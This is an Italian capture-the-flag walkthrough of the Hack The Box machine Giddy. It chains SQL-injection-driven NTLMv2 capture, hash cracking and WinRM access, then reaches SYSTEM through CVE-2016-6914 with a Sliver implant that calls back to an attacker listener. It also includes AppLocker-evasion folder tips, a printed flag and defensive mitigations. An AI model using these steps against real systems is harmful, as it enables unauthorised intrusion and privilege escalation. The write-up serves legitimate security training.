Hack The Box Giddy Walkthrough: Privilege Escalation via UniFi Video Service (CVE-2016-6914) #

Macchina: Giddy (Hack The Box) Difficoltà: Medium OS: Windows Tecnica chiave: SQL Injection → cattura NTLMv2 → WinRM → PATH Hijacking (CVE-2016-6914)

In breve #

Su Giddy si ottiene l’accesso iniziale sfruttando una SQL Injection nell’applicazione web per forzare il database MSSQL a connettersi via SMB verso la macchina attaccante, catturando così l’hash NTLMv2 di un utente valido. Una volta craccato l’hash e ottenuto l’accesso via WinRM, la privilege escalation a SYSTEM sfrutta CVE-2016-6914, una vulnerabilità nel servizio Ubiquiti UniFi Video che permette di eseguire un binario arbitrario chiamato taskkill.exe piazzato nella cartella di installazione del servizio, scrivibile dagli utenti a basso privilegio.

Introduzione #

Giddy è una macchina Windows di Hack The Box che unisce due tecniche molto istruttive: l’abuso di una SQL Injection per la cattura di credenziali via NTLM capture, e una privilege escalation basata su una CVE pubblica e documentata contro il software di videosorveglianza Ubiquiti UniFi Video.

In questo articolo ripercorriamo l’intero processo, dall’enumerazione iniziale fino a SYSTEM, con gli output reali del nostro procedimento.

Nota: questo walkthrough è realizzato interamente su Hack The Box, ambiente di test autorizzato, a scopo didattico.

Fase 0: Accesso iniziale #

Enumerazione delle porte #

Una scansione nmap mostra subito una superficie insolitamente ampia per un web server pubblico:

PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
1433/tcp open  ms-sql-s
3389/tcp open  ms-wbt-server
5985/tcp open  wsman

La presenza della 1433 (Microsoft SQL Server) insieme a RDP e WinRM è un segnale chiaro: quando una macchina espone così tante porte “strane” insieme, conviene fermarsi e investigare servizio per servizio invece di concentrarsi solo sull’HTTP. Per l’enumerazione e i vettori di attacco specifici sulla 1433 rimandiamo al nostro approfondimento dedicato: Porta 1433 – MSSQL: enumerazione e attacco.

Enumerazione web e SQL Injection #

Un’enumerazione delle directory sul sito rivela due path interessanti: uno espone un’interfaccia di accesso a PowerShell Web Access, l’altro conduce a un’applicazione tipo negozio online con pagine di prodotto e ricerca dinamiche.

Testando i parametri con un apice singolo, l’applicazione risponde con errori di sistema — segnale classico di SQL Injection non filtrata sul backend MSSQL.

Il punto chiave non è estrarre dati (in questo caso poco utili), ma sfruttare il supporto di MSSQL alle stacked queries: accodando all’injection un comando che richiama una funzione di sistema in grado di accettare un percorso di rete (UNC) come argomento, si forza il database a effettuare una connessione SMB in uscita verso una macchina sotto il nostro controllo.

Cattura dell’hash NTLMv2 #

Mettendosi in ascolto con Responder, la connessione SMB in arrivo consegna l’hash NTLMv2 dell’account di servizio:

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
[+] Servers:
    SMB server                 [ON]
[+] Listening for events...

[SMBv2] NTLMv2-SSP Client   : 10.129.X.X
[SMBv2] NTLMv2-SSP Username : GIDDY\<utente>
[SMBv2] NTLMv2-SSP Hash     : <utente>::GIDDY:<challenge>:<hash troncato>...

L’hash viene poi sottoposto a cracking offline con hashcat (modalità 5600 – NetNTLMv2) contro una wordlist comune: la password risulta debole e cede rapidamente.

Accesso via WinRM #

Con la password in chiaro, l’accesso si completa via WinRM:

$ evil-winrm -i 10.129.X.X -u stacy -p '<password>'

*Evil-WinRM* PS C:\Users\Stacy\Documents> whoami
giddy\stacy

Da qui si opera come utente a basso privilegio — il punto di partenza per la privilege escalation.

Fase 1: Enumerazione per la privesc #

WinPEAS e i suoi limiti pratici #

Il primo tentativo è, come sempre, l’esecuzione di WinPEAS per un’enumerazione automatica. In questo caso il download diretto in cartelle “ovvie” (Documents, Downloads, Temp) ha dato problemi legati a Defender/AppLocker. La soluzione pratica è stata scaricare il binario in una cartella meno monitorata e comunque scrivibile dall’utente corrente:

C:\Windows\System32\spool\drivers\color

Questo percorso è spesso utile in questi scenari perché, pur trovandosi sotto System32, è tipicamente scrivibile dagli utenti standard (è la cartella dei profili colore delle stampanti) e meno soggetta a regole restrittive di AppLocker rispetto a directory più “ovvie” come Desktop o Downloads.

Da lì, WinPEAS conferma quanto sospettato:

Ubiquiti UniFi Video (Ubiquiti Networks, Inc. - Ubiquiti UniFi Video)
[C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService] - Autoload
- No quotes and Space detected
Possible DLL Hijacking in binary folder: C:\ProgramData\unifi-video
(Users [Allow: WriteData/CreateFiles])

Un falso pattern da scartare: unquoted service path #

Il report segnala l’assenza di virgolette nel path del servizio. Analizzando la stringa, però, lo spazio compare dopo avService.exe (fa parte degli argomenti //RS//UniFiVideoService, sintassi Apache Commons Daemon/procrun), non prima dell’estensione. Nessuno spazio nei nomi di cartella coinvolti: questo specifico vettore non è sfruttabile qui.

Il vettore reale: CVE-2016-6914 #

Il vettore corretto è documentato pubblicamente come CVE-2016-6914: il servizio Ubiquiti UniFi Video, durante le operazioni di stop/start, invoca taskkill senza specificare il percorso completo, per terminare il processo Java sottostante. La cartella C:\ProgramData\unifi-video è scrivibile dal gruppo Users (WriteData/CreateFiles) ed è inclusa nel PATH di ricerca al momento dell’esecuzione: piazzando lì un binario malevolo chiamato taskkill.exe, il servizio SYSTEM lo esegue al posto del taskkill legittimo di System32.

Il nome esatto del file da piazzare — taskkill.exe — non è stato ricavato da un’analisi dinamica sul momento (Procmon, in questo caso, non è stato utile perché la finestra di cattura era già stata avviata su un tentativo diverso), ma direttamente dalla advisory pubblica della CVE, che descrive con precisione quale binario il servizio richiama senza path assoluto durante lo shutdown. Quando una vulnerabilità è già documentata e numerata, conviene sempre partire da lì invece di reinventare l’enumerazione da zero.

Fase 2: Generazione del payload con Sliver #

Per generare l’implant abbiamo usato Sliver come C2 framework. Per una panoramica completa su installazione e utilizzo di Sliver rimandiamo al nostro articolo dedicato: Sliver C2: guida all’uso.

sliver > generate --http <IP_ATTACCANTE>:<PORTA> --os windows --arch amd64 --format exe --evasion --save taskkill.exe

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 1m11s
[*] Implant saved to ./taskkill.exe

Un problema pratico: la porta del listener #

Nei primi tentativi la callback non arrivava affatto, nonostante il file risultasse effettivamente eseguito sul target (verificabile con Get-Process | findstr taskkill, che mostrava il processo attivo). Il sospetto è ricaduto su una porta in uscita filtrata dal firewall del target sulle porte “standard” tentate inizialmente.

Analizzando le porte già aperte sul target, la 7080 risultava in ascolto per un altro servizio locale. Questo però riguarda soltanto le connessioni in ingresso verso quella porta sul target — non impedisce in alcun modo al target di aprire connessioni in uscita verso la stessa porta su una macchina esterna. Partendo da questo ragionamento, abbiamo provato a spostare il listener Sliver proprio sulla 7080 lato attaccante, ipotizzando che il traffico in uscita su quella porta specifica fosse più permissivo nelle regole del firewall:

sliver > http --lport 7080
[*] Starting HTTP :7080 listener ...
[*] Successfully started job #8

Con questa configurazione la callback è arrivata:

[*] Session VERBAL_MODEM - 10.129.X.X:49733 (Giddy) - windows/amd64

Fase 3: Trigger del servizio #

Il binario viene caricato in C:\ProgramData\unifi-video\taskkill.exe, poi si forza il restart del servizio (permesso concesso al gruppo Remote Management Users sulla ACL del servizio):

*Evil-WinRM* PS C:\programdata\unifi-video> Stop-Service -Name Unifivideoservice -Force
*Evil-WinRM* PS C:\programdata\unifi-video> Start-Service -Name Unifivideoservice

Verifica del contesto ottenuto:

[server] sliver (VERBAL_MODEM) > whoami
Logon ID: WORKGROUP\GIDDY$
[*] Current Token ID: NT AUTHORITY\SYSTEM

Fase 4: Root flag #

Con una shell interattiva si recupera la flag finale:

PS C:\users\administrator\desktop> cat root.txt
6297ec3715d01eb44000864e311bb91a

Lezioni tecniche #

1. Le CVE pubbliche restano rilevanti: CVE-2016-6914 è una vulnerabilità nota, ma la sua efficacia dipende interamente dai permessi sulla cartella — verificarli sempre prima di dare per scontato lo sfruttamento.
2. Un tool automatico può bloccarsi su percorsi “ovvi”: se WinPEAS o altri binari vengono bloccati da Defender/AppLocker nelle directory standard, cartelle di sistema scrivibili come spool\drivers\color sono spesso un’alternativa valida.
3. Le porte “occupate” sul target non sono un vincolo per il tuo listener: ingress e egress sulla stessa porta sono concetti indipendenti; una porta aperta sul target per un altro servizio può essere un buon segnale che il firewall lascia passare traffico su quella porta.

Mitigazioni (lato blue team) #

• Aggiornare Ubiquiti UniFi Video a una versione non affetta da CVE-2016-6914.
• Applicare ACL restrittive sulle cartelle dei servizi che girano con privilegi elevati: solo SYSTEM/Administrators dovrebbero avere diritti di scrittura.
• Evitare di richiamare binari di sistema (taskkill, net, ecc.) senza path assoluto all’interno di script o wrapper di servizio.
• Filtrare rigorosamente il traffico SMB in uscita verso l’esterno per prevenire tecniche di NTLM capture via SQL Injection.

FAQ #

Cos’è CVE-2016-6914? È una vulnerabilità di privilege escalation nel servizio Ubiquiti UniFi Video per Windows, che permette a un utente con permessi di scrittura sulla cartella di installazione di eseguire codice arbitrario come SYSTEM, sfruttando l’invocazione di taskkill senza path assoluto durante lo stop/start del servizio.

Come si ottiene l’accesso iniziale su Giddy? Tramite una SQL Injection nell’applicazione web che consente di forzare il database MSSQL a connettersi via SMB verso l’attaccante, catturando un hash NTLMv2 craccabile offline con hashcat.

Perché usare una porta come 7080 per il listener C2? Perché una porta già in uso sul target per un servizio locale è spesso un buon indicatore che il traffico in uscita su quella porta non è bloccato dal firewall — ingresso e uscita sono regole indipendenti.

Articolo a scopo didattico, realizzato interamente su ambiente Hack The Box.